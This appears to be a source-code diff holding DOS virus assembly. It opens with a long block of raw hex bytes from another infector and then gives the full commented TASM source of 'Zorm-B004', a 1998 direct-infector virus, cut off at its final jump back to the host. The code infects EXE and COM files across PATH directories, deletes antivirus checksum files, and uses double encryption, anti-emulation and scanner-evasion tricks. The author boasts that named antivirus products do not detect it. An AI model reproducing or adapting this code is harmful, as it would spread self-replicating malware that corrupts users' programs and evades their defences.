db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h
|
||||
db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h
|
||||
db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h
|
||||
db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h
|
||||
db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh
|
||||
db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh
|
||||
db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h
|
||||
db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h
|
||||
db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h
|
||||
db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h
|
||||
db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh
|
||||
db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h
|
||||
db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h
|
||||
db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h
|
||||
db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h
|
||||
db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh
|
||||
db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h
|
||||
db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah
|
||||
db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h
|
||||
db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh
|
||||
db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h
|
||||
db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h
|
||||
db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah
|
||||
db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h
|
||||
db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh
|
||||
db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h
|
||||
db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh
|
||||
db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h
|
||||
db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h
|
||||
db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h
|
||||
db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h
|
||||
db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h
|
||||
db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh
|
||||
db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h
|
||||
db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h
|
||||
db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h
|
||||
db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h
|
||||
db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h
|
||||
db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h
|
||||
db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh
|
||||
db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h
|
||||
db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h
|
||||
db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h
|
||||
db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h
|
||||
db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach
|
||||
db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh
|
||||
db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h
|
||||
db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h
|
||||
db 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h
|
||||
db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h
|
||||
db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h
|
||||
db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h
|
||||
db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h
|
||||
db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h
|
||||
db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h
|
||||
db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h
|
||||
db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh
|
||||
@@ -0,0 +1,872 @@
|
||||
|
||||
;
|
||||
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\
|
||||
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛÛÛ\ ÛÛÛÛ\
|
||||
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
|
||||
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ \ ÛÛ\ ÛÛ\ ÛÛ\
|
||||
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
|
||||
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
|
||||
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
|
||||
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
|
||||
; ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
|
||||
;
|
||||
;(C)By Dr L. from Lamer Corporation March/July 1998
|
||||
;
|
||||
;Description:
|
||||
; - Name:..........Zorm-B004
|
||||
; - Mode:..........Direct infector no TSR
|
||||
; - Target:..........Exe/Com of Msdos (even com of dos7+)
|
||||
; - Status:..........Not detected by Tbav806,F-prot301,228
|
||||
; dr.Web,Avp30,nod-ice,findvirus786
|
||||
; (2nd+ generations)
|
||||
; - Description:
|
||||
; This virus infects 2 exe+2 com files when executed.
|
||||
; Can change of directory by using both dot-dot method
|
||||
; and the path variable of dos environnment.
|
||||
; It doesnt contain nasty routines.
|
||||
; Its twice encrypted and use several anti-emulation
|
||||
; routines.It doesnt infect command.com and win.com
|
||||
; of win95.
|
||||
; It erases most checksums files made by anti-virus
|
||||
; in the directories where it have found targets to
|
||||
; infect.
|
||||
; Anti-lamer routine included :)
|
||||
;
|
||||
; - Disclaimer:
|
||||
; This virus was written for research and educationnal
|
||||
; purposes.
|
||||
; Its the 4th version of this serie.
|
||||
; I have fixed some bugs.
|
||||
; But one problem still remains:
|
||||
; This virus can damaged win.com/command.com of
|
||||
; win31 when executed or maybe all can be fine
|
||||
; i cant study this problem cause i dont have
|
||||
; win31!
|
||||
;
|
||||
;
|
||||
; Compile :tasm/m2 ,tlink/t
|
||||
;
|
||||
|
||||
|
||||
|
||||
.model tiny ;memory model
|
||||
.code ;size <65536
|
||||
|
||||
org 100h ;its a com file
|
||||
|
||||
|
||||
;-------------------------Beginning---of----loader----------------------
|
||||
start1:
|
||||
db 0e9h,1,0 ;jmp 001 byte forward
|
||||
db 'V' ;infection mark
|
||||
|
||||
push ds ;save dx for later
|
||||
|
||||
push cs ;set ds=cs
|
||||
pop ds ;
|
||||
|
||||
mov word ptr [_ds],ds ;save original ds for
|
||||
;later
|
||||
|
||||
mov byte ptr [com_virus],0 ;for the first time
|
||||
;you have to do that
|
||||
;(read below)
|
||||
|
||||
mov bp,0 ;set bp the delta offset
|
||||
;to zero.No shift to begin
|
||||
|
||||
|
||||
jmp over_there
|
||||
|
||||
;---------------------------End-----of------loader----------------------
|
||||
|
||||
|
||||
|
||||
|
||||
;----------------------------Beginning--of--virus-----------------------
|
||||
start:
|
||||
xor dx,dx ;set dx=0 for stability
|
||||
mov cx,end_2nd-begin_2nd ;cx=nber of bytes to decrypt
|
||||
xor ax,ax
|
||||
int 15h
|
||||
cmp ah,86h ;thanx to yesna to show me this
|
||||
jz itsok ;trick ;)
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
itsok:
|
||||
|
||||
|
||||
mov ah,3dh ;anti-emulation trick. function 3dh
|
||||
int 21h ;int 21h= open file function.ds:dx
|
||||
;mov al,02h ;have to point to file name.
|
||||
;but ds:dx points tojunk so dos returns
|
||||
;al=02h.We use this value to decrypt
|
||||
|
||||
db 04h ;=add al,10h
|
||||
value db 10h ;
|
||||
|
||||
|
||||
db 0bbh ;mov bx,patch
|
||||
patch: ;patch=addr of begin_2nd.
|
||||
dw 0 ;patch will be set later.
|
||||
|
||||
;settings for decrypt bytes between begin_2nd and end_second is over.
|
||||
|
||||
|
||||
|
||||
;--------------------------------------------------------
|
||||
;crypt/decrypt "routine"
|
||||
;
|
||||
;remark: _ret will be changed into "ret" to transform this part
|
||||
;in a real asm routine.
|
||||
|
||||
|
||||
crypt:
|
||||
turn_again:
|
||||
xor byte ptr cs:[bx],al
|
||||
inc bx
|
||||
loop turn_again
|
||||
_ret: ;
|
||||
ret ;to be replaced
|
||||
|
||||
;--------------------------------------------------------
|
||||
|
||||
|
||||
begin_2nd:
|
||||
db 2eh,0c6h,06h ;=mov byte ptr cs:[ret_addr],c3h
|
||||
ret_addr: ;
|
||||
dw 0 ;(ret_addr=address where to put 'ret'.
|
||||
db 0c3h ;c3h=opcode for "ret")
|
||||
|
||||
|
||||
db 0bbh ;=mov bx,0000h
|
||||
patch2: ;
|
||||
dw 0 ;(patch2=addr of beginning of begin_main)
|
||||
|
||||
db 0b0h ;=mov al,2
|
||||
_al: ;
|
||||
db 2 ;
|
||||
;(_al=xor key.Not fixed value during
|
||||
;infection scheme.see below)
|
||||
|
||||
mov cx,end_main-begin_main ;setting to decrypt bytes between
|
||||
;label begin_main and end_main is
|
||||
;complete
|
||||
|
||||
call crypt ;decrypt now!
|
||||
end_2nd:
|
||||
|
||||
begin_main:
|
||||
mov ax,ss ;if cs=ss i'm a com
|
||||
mov cx,cs ;
|
||||
cmp ax,cx ;if not,i'm exe!
|
||||
jz im_com ;
|
||||
|
||||
im_exe:
|
||||
cli ;
|
||||
mov ax,ss ;reset ss=cs
|
||||
dec ax ;at the start ss=cs+1 to avoid
|
||||
mov ss,ax ;"k" flag of tbav.Maybe its a
|
||||
sti ;lame way to do that but dont know
|
||||
;how to use an other way.
|
||||
|
||||
call compute_delta
|
||||
|
||||
push ds ;save ds for later
|
||||
|
||||
push cs ;set ds=cs
|
||||
pop ds ;
|
||||
|
||||
mov byte ptr [com_virus+bp],0 ;i'm not a com (save this info
|
||||
;for later)
|
||||
jmp next_exe ;whats follow for a exe file host?
|
||||
|
||||
im_com:
|
||||
|
||||
push ds ;save it for later
|
||||
|
||||
|
||||
|
||||
compute_delta_offset:
|
||||
call compute_delta
|
||||
mov byte ptr [com_virus+bp],1 ;yep i'm a com file
|
||||
|
||||
next_exe:
|
||||
|
||||
pop ax ;set ax=original ds
|
||||
mov word ptr [_ds+bp],ax ;set _ds=original ds
|
||||
;you need it for pass
|
||||
;control to host.
|
||||
|
||||
over_there: ;remember me?
|
||||
;for the first execution
|
||||
;no need to decrypt
|
||||
|
||||
|
||||
push es ;save es
|
||||
|
||||
push cs ;set es=cs
|
||||
pop es ;
|
||||
|
||||
cmp byte ptr [com_virus+bp],1 ;i'm a com?
|
||||
|
||||
jnz follow_me ;nope
|
||||
|
||||
lea si,store_bytes+bp ;yep i'm
|
||||
mov di,100h ;ready to transfer byte from
|
||||
;location "store_bytes" to
|
||||
;beginning of (com) host.
|
||||
;(remember the code of *.com
|
||||
;begin to cs:100h in memory)
|
||||
|
||||
jmp transfer
|
||||
|
||||
follow_me:
|
||||
;cld
|
||||
lea si,store+bp ;transfer from label "store"
|
||||
lea di,old+bp ;to label "old"
|
||||
movsw ;(set the correct values, segment:
|
||||
movsw ;offset for the return to host.)
|
||||
|
||||
transfer:
|
||||
movsw ;you came from "mov di,100h"? ok
|
||||
movsw ;restore (in memory only) the 4 first
|
||||
;originals bytes of host.
|
||||
|
||||
;you came from "follow me"? ok restore
|
||||
;originals cs:ip and ss:sp found in
|
||||
;host (exe) header
|
||||
|
||||
pop es ;beware im back!
|
||||
|
||||
lea dx,new_dta+bp ;dont modify dta!
|
||||
call set_dta ;change it!
|
||||
|
||||
mov byte ptr [flag_com+bp],'E' ;at first we want to infect Exe
|
||||
|
||||
|
||||
push es ;see you later!
|
||||
|
||||
create_new_int24h_handler:
|
||||
mov ax,3524h ;
|
||||
int 21h ;save original handler
|
||||
mov word ptr [bp+old_int24h],bx ;of int 24h for restore
|
||||
mov word ptr [bp+old_int24h+2],es ;it later.
|
||||
|
||||
mov ah,25h ;set a new handler for
|
||||
lea dx,bp+int_24h ;int 24h.
|
||||
int 21h ;so dos dont pop up
|
||||
;a infamous error message if virus
|
||||
;try to infect write protected
|
||||
;disk.
|
||||
|
||||
pop es ;its me again babe!
|
||||
|
||||
count:
|
||||
mov byte ptr [count_infect+bp],0 ;reset the counter to 0
|
||||
;self explanory
|
||||
|
||||
get_dir:
|
||||
|
||||
mov ah,47h ;
|
||||
lea si,current_dir+bp ;save the current directory
|
||||
xor dl,dl ;for later when virus pass
|
||||
int 21h ;control to host and the return to
|
||||
;dos.the size of buffer is 64 bytes.
|
||||
get_disk:
|
||||
mov ah,19H ;from a:or b:or...virus is running?
|
||||
int 21h ;
|
||||
mov byte ptr [disk+bp],al ;
|
||||
cmp al,02H ;virus infect c: not other drive.
|
||||
;in practice .
|
||||
jz search_begin_path ;but if you are running the virus
|
||||
mov dl,02h ;from an drive ,not c:,it infects
|
||||
mov ah,0eh ;drive c:.
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
;this part search the adress of first byte of the name of the
|
||||
;first directory include in dos path
|
||||
;remarks:
|
||||
; es is destroyed by the routine
|
||||
; es:di points to the address
|
||||
; we are searching
|
||||
|
||||
search_begin_path:
|
||||
|
||||
mov ax,es:002ch ;es:002ch=address of segment where
|
||||
mov es,ax ;to found in memory the dos path.
|
||||
xor di,di ;
|
||||
mov si,di
|
||||
|
||||
jmp suite
|
||||
yet:
|
||||
inc si
|
||||
mov di,si
|
||||
suite:
|
||||
mov ax,'AP' ;
|
||||
scasw ;
|
||||
jnz yet ;
|
||||
mov ax,'HT' ;search the string 'PATH='
|
||||
scasw ;in memory
|
||||
jnz yet ;
|
||||
mov al,'=' ;
|
||||
scasb ;
|
||||
jnz yet ;
|
||||
|
||||
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;------------------------------------------------------------------
|
||||
;main part of virus routine to search for files
|
||||
;to infect.
|
||||
|
||||
pathdir: ;
|
||||
call search ;go to search in current dir
|
||||
again1: ;
|
||||
jc parent ;no file found go to "parent"
|
||||
call infect ;one file found infect it!
|
||||
|
||||
cmp byte ptr [count_infect+bp],2 ;
|
||||
jz end_infect ;
|
||||
call search_again ;
|
||||
jmp again1 ;
|
||||
parent:
|
||||
call up_dir ;
|
||||
jnc pathdir ;
|
||||
change_to_c:
|
||||
call change_path_dir ;
|
||||
jnz pathdir ;
|
||||
jmp end_infect ;
|
||||
;------------------------------------------------------------------
|
||||
|
||||
infect:
|
||||
mov ax,3d02h
|
||||
lea dx,new_dta+1eh+bp
|
||||
int 21h
|
||||
|
||||
read_header:
|
||||
|
||||
xchg ax,bx
|
||||
mov ah,3fh
|
||||
mov cx,1ch
|
||||
lea dx,exe_header+bp
|
||||
int 21h
|
||||
test1:
|
||||
cmp word ptr [exe_header+bp],'ZM';is it really an exe?
|
||||
je test3
|
||||
test2:
|
||||
cmp word ptr [exe_header+bp],'MZ';idem
|
||||
jne its_a_com
|
||||
test3:
|
||||
cmp word ptr [exe_header+bp+12h],'VI';infected?
|
||||
je terminer ;yes,bye bye
|
||||
|
||||
test3b:
|
||||
cmp word ptr [exe_header+bp+2],00c6h
|
||||
jne test4
|
||||
cmp word ptr [exe_header+bp+4],00b7h
|
||||
je terminer
|
||||
test4:
|
||||
cmp word ptr [exe_header+bp+26],0 ;overlay=0?
|
||||
jne terminer ;not,bye bye
|
||||
test5:
|
||||
cmp word ptr [exe_header+bp+24],40h ;windows exe?
|
||||
je terminer ;yes ,adios :(
|
||||
|
||||
mov byte ptr [com_target+bp],0
|
||||
jmp get_attributes
|
||||
its_a_com:
|
||||
|
||||
test_com:
|
||||
cmp byte ptr [exe_header+bp+3],'V'
|
||||
jz terminer
|
||||
test_win:
|
||||
cmp word ptr [exe_header+4+bp],0e1fh
|
||||
jnz not_win_com
|
||||
cmp word ptr [exe_header+6+bp],0e807h
|
||||
jz terminer
|
||||
|
||||
not_win_com:
|
||||
jmp suit
|
||||
end_infect:
|
||||
jmp end_infect2
|
||||
suit:
|
||||
push di
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
mov byte ptr [com_target+bp],1
|
||||
|
||||
lea si,exe_header+bp
|
||||
lea di,store_bytes+bp
|
||||
movsw
|
||||
movsw
|
||||
pop es
|
||||
pop di
|
||||
|
||||
get_attributes:
|
||||
mov ax,4300h
|
||||
lea dx,new_dta+1eh+bp
|
||||
int 21h
|
||||
mov word ptr [attribute+bp],cx
|
||||
set_attributes:
|
||||
lea dx,new_dta+1eh+bp
|
||||
call set_attrib
|
||||
kill_crc_files:
|
||||
|
||||
|
||||
;-----------------------------------------------
|
||||
;delete crc files
|
||||
|
||||
lea dx,killfile1+bp
|
||||
call set_attrib
|
||||
call kill_file
|
||||
jmp next
|
||||
terminer:
|
||||
jmp close_file
|
||||
next:
|
||||
lea dx,killfile2+bp
|
||||
call set_attrib
|
||||
call kill_file
|
||||
|
||||
lea dx,killfile3+bp
|
||||
call set_attrib
|
||||
call kill_file
|
||||
;------------------------------------------------
|
||||
|
||||
|
||||
get_time_date:
|
||||
mov ax,5700h
|
||||
int 21h
|
||||
push cx
|
||||
push dx
|
||||
cmp byte ptr [com_target+bp],1
|
||||
jz go_end_of_file
|
||||
store_info_header:
|
||||
mov ax,word ptr [exe_header+bp+0eh]
|
||||
mov word ptr [store_ss+bp],ax
|
||||
mov ax,word ptr [exe_header+bp+10h]
|
||||
mov word ptr [store_sp+bp],ax
|
||||
|
||||
mov ax,word ptr [exe_header+bp+14h]
|
||||
mov word ptr [store_ip+bp],ax
|
||||
|
||||
mov ax,word ptr [exe_header+bp+16h]
|
||||
mov word ptr [store_cs+bp],ax
|
||||
go_end_of_file:
|
||||
call go_end
|
||||
cmp byte ptr [com_target+bp],1
|
||||
jnz next_exe_infect
|
||||
sub ax,7
|
||||
xchg ax,dx
|
||||
mov cx,0
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
|
||||
|
||||
mov ah,03fh
|
||||
mov cx,07h
|
||||
lea dx,queue+(end_virus-start)+bp
|
||||
int 21h
|
||||
|
||||
|
||||
add word ptr [queue+(end_virus-start)+5+bp],end_virus-start+7
|
||||
call go_end
|
||||
mov cx,ax
|
||||
sub ax,3
|
||||
mov word ptr [jmp_bytes+bp+1],ax
|
||||
|
||||
add cx,100h
|
||||
jmp change_patch
|
||||
|
||||
next_exe_infect:
|
||||
|
||||
push ax dx
|
||||
|
||||
compute_new_csip:
|
||||
push ax
|
||||
mov ax,word ptr [exe_header+bp+8]
|
||||
mov cl,4
|
||||
shl ax,cl
|
||||
mov cx,ax
|
||||
pop ax
|
||||
sub ax,cx
|
||||
sbb dx,0
|
||||
mov cl,0ch
|
||||
shl dx,cl
|
||||
mov cl,4
|
||||
push ax
|
||||
shr ax,cl
|
||||
add dx,ax
|
||||
shl ax,cl
|
||||
pop cx
|
||||
sub cx,ax
|
||||
change_header:
|
||||
mov word ptr [exe_header+bp+14h],cx
|
||||
mov word ptr [exe_header+bp+16h],dx
|
||||
inc dx
|
||||
mov word ptr [exe_header+bp+0eh],dx
|
||||
mov word ptr [exe_header+bp+10h],0FF0h
|
||||
mov word ptr [exe_header+bp+0ah],00FFh
|
||||
mov word ptr [exe_header+bp+12h],'VI'
|
||||
change_patch:
|
||||
push cx
|
||||
add cx,begin_main-start
|
||||
mov word ptr [patch2+bp],cx
|
||||
pop cx
|
||||
push cx
|
||||
add cx,_ret-start
|
||||
mov word ptr [ret_addr+bp],cx
|
||||
pop cx
|
||||
|
||||
add cx,begin_2nd-start
|
||||
mov word ptr [patch+bp],cx
|
||||
cmp byte ptr [com_target+bp],1
|
||||
jz write_virus
|
||||
pop dx ax
|
||||
compute_size:
|
||||
add ax,end_virus-start
|
||||
adc dx,0
|
||||
mov cx,512
|
||||
div cx
|
||||
cmp dx,0
|
||||
je enough
|
||||
inc ax
|
||||
enough:
|
||||
mov word ptr [exe_header+bp+04],ax
|
||||
mov word ptr [exe_header+bp+02],dx
|
||||
write_virus:
|
||||
encipher:
|
||||
call encrypt
|
||||
;--------------------------------
|
||||
;routine to avoid tbav "U" flag
|
||||
;"U"=undocumented dos interrupt
|
||||
;in fact tbav sets this flag
|
||||
;if it finds "cdh,xyh" string
|
||||
;where xy isnt a ordinary value
|
||||
;for an interrupt.
|
||||
|
||||
lea si,queue+bp+(begin_2nd-start)
|
||||
mov cx,end_virus-begin_2nd
|
||||
test_int:
|
||||
|
||||
cmp byte ptr [si],0cdh
|
||||
je encipher
|
||||
inc si
|
||||
loop test_int
|
||||
;-------------------------------
|
||||
|
||||
;-------------------------------
|
||||
;90h=nop replace 'ret' by 'nop'
|
||||
;for the first execution of crypt
|
||||
;routine by the target exe
|
||||
;in the buffer before write it.
|
||||
mov byte ptr [bp+queue+(_ret-start)],90h
|
||||
;-------------------------------
|
||||
|
||||
;-------------------------------
|
||||
;write the virus to the target file
|
||||
mov ah,40h
|
||||
mov cx,(end_virus-start)+7
|
||||
lea dx,bp+queue
|
||||
int 21h
|
||||
;-------------------------------
|
||||
|
||||
;-------------------------------
|
||||
;set the file pointer of target to
|
||||
;the beginning.
|
||||
go_beginning:
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
;-------------------------------
|
||||
|
||||
copy_new_header:
|
||||
cmp byte ptr [com_target+bp],1
|
||||
jnz copy_exe
|
||||
lea dx,jmp_bytes+bp
|
||||
mov cx,4
|
||||
jmp go_copy
|
||||
copy_exe:
|
||||
mov cx,1ah
|
||||
lea dx,exe_header+bp
|
||||
go_copy:
|
||||
mov ah,40h
|
||||
int 21h
|
||||
inc_counter:
|
||||
inc byte ptr [count_infect+bp]
|
||||
restore_file_attribute:
|
||||
mov cx,attribute+bp
|
||||
lea dx,1eh+bp+new_dta
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
restore_date_time:
|
||||
mov ax,5701h
|
||||
pop dx
|
||||
pop cx
|
||||
int 21h
|
||||
close_file:
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
ret
|
||||
|
||||
end_infect2:
|
||||
|
||||
|
||||
restore_disk:
|
||||
mov dl,byte ptr [disk+bp]
|
||||
mov ah,0Eh
|
||||
int 21h
|
||||
|
||||
restore_directory:
|
||||
mov ah,3bh
|
||||
mov byte ptr [slash+bp],'\'
|
||||
lea dx,[current_dir-1]+bp
|
||||
int 21h
|
||||
cmp byte ptr [flag_com+bp],'C'
|
||||
jz exit
|
||||
|
||||
mov byte ptr [flag_com+bp],'C' ;set this flag to avoid
|
||||
jmp count
|
||||
|
||||
exit:
|
||||
|
||||
restore_initial_ds_value:
|
||||
|
||||
mov ax,word ptr [_ds+bp]
|
||||
push ax
|
||||
pop ds
|
||||
|
||||
restore_initial_dta:
|
||||
mov dx,80h
|
||||
call set_dta
|
||||
restore_initial_24h_interrupt:
|
||||
|
||||
push ds
|
||||
mov ax,2524h
|
||||
lds dx,bp+old_int24h
|
||||
int 21h
|
||||
pop ds
|
||||
|
||||
restore_initial_es:
|
||||
push ds
|
||||
pop es
|
||||
|
||||
cmp byte ptr [com_virus+bp],1
|
||||
jnz finish_exe
|
||||
|
||||
return_com_host:
|
||||
|
||||
mov ax,100h
|
||||
push ax
|
||||
ret
|
||||
finish_exe:
|
||||
mov ax,es
|
||||
add ax,10h
|
||||
|
||||
set_cs_of_host_to_run_it:
|
||||
add word ptr cs:[old_cs+bp],ax
|
||||
set_stack_of_host:
|
||||
cli
|
||||
add ax,word ptr cs:[bp+old_ss]
|
||||
mov ss,ax
|
||||
mov sp,word ptr cs:[bp+old_sp]
|
||||
sti
|
||||
go_to_host_code:
|
||||
db 0eah ; :=jmp xxxx:yyyy
|
||||
old:
|
||||
